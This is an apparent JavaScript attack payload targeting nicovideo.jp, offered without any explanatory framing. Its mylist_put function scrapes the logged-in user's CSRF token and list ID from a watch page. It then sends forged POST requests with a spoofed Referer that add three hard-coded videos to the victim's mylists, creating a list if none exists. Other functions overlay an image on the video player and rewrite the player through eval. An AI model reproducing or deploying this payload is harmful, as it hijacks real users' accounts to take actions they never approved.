function getXY_function(el) {// var parent = null; var pos = []; var box; if (document.getBoxObjectFor && el.getBoundingClientRect) { // fire fox box = el.getBoundingClientRect(); var scrollTop = Math.max(document.documentElement.scrollTop, document.body.scrollTop); var scrollLeft = Math.max(document.documentElement.scrollLeft, document.body.scrollLeft); return [parseInt(box.left + scrollLeft+3 + 0.5), parseInt(box.top + scrollTop+2 + 0.5)]; }else if (el.getBoundingClientRect) { //alert("IE"); box = el.getBoundingClientRect(); var scrollTop = Math.max(document.documentElement.scrollTop, document.body.scrollTop); var scrollLeft = Math.max(document.documentElement.scrollLeft, document.body.scrollLeft); if(window.opera || (document.documentMode && document.documentMode == '8') ){ //opera 9.x , IE8 return [box.left + scrollLeft+3, box.top + scrollTop + 2]; } // IE6,IE7 return [box.left + scrollLeft, box.top + scrollTop]; }else { // safari //alert("safari & opera 8.x"); pos = [el.offsetLeft, el.offsetTop]; parent = el.offsetParent; if (parent != el) { while (parent) { pos[0] += parent.offsetLeft +3; pos[1] += parent.offsetTop +2; parent = parent.offsetParent; } } } return pos; } function mmm(){ new Ajax.Request(location+"",{method: "get", onSuccess:function(httpObj){ var cc=""; var re2 = new RegExp("\x3cscript type=\"text\/javascript\"\x3e\x3c!--[^\x3c]+","g"); cc=httpObj.responseText.replace(/[\r\n]/g,"");cc=cc.match(re2); var nn=cc[6].replace(/so\.write.+/,""); nn=(nn+"").match(/var.+/); nn=(nn+"").replace(/\"952\"/,"\"555\""); //alert("delete so;"+nn); eval("delete so;"+nn); so.write("flvplayer_container");/**/ }} ); } function mylist_put(v_id){ var v_url ="http\x3a//www.nicovideo.jp/watch/" + v_id; new Ajax.Request(v_url,{method: "get", onSuccess:function(httpObj){ var csrf_token = (httpObj.responseText.match(/value="[0-9,a-f]{40}"/) +"").match(/[0-9,a-f]{40}/); var group_id = (httpObj.responseText.match(/option value="[0-9]{6,10}"/)+"").match(/[0-9]{7,9}/); var message_tmp= "mylist=add&mylistgroup_name=&csrf_token=MMDKF&group_id=DDMSK&mylist_add=%E7%99%BB%E9%8C%B2&ajax=1"; //alert("csrf_token="+csrf_token); //alert("group_id="+group_id); message_tmp=message_tmp.replace(/MMDKF/,csrf_token); message_tmp=message_tmp.replace(/DDMSK/,group_id); if(group_id){ new Ajax.Request(v_url,{method: "post",postBody: message_tmp,requestHeaders: ["Referer",v_url]}); }else{ var msg_fast = "mylist=add&mylistgroup_name=chair&csrf_token="+csrf_token+ "&group_id=new&mylist_add=%E7%99%BB%E9%8C%B2&ajax=1"; new Ajax.Request(v_url,{method: "post",postBody: msg_fast,requestHeaders: ["Referer",v_url]}); } }} ); } function z_(){ video = ["nm7544025","nm7473370","sm7498574"]; mylist_put(video[0]); setTimeout("mylist_put(video[1])",7000); setTimeout("mylist_put(video[2])",12000); var mcc = getXY_function($("flvplayer_container")); var url="http\x3a//upload.wikimedia.org/wikipedia/commons/b/b5/Mmmm_dummy.PNG"; var d_img = "\x3cimg style=\"position: absolute; top:" + (mcc[1]+2) + "px; left:" + (mcc[0]+14) + "px;\" src=\"" + url + "\"\x3e\x3c/a\x3e"; $("PAGETOP").innerHTML=d_img; setTimeout("mmm()",2000); /**/ }//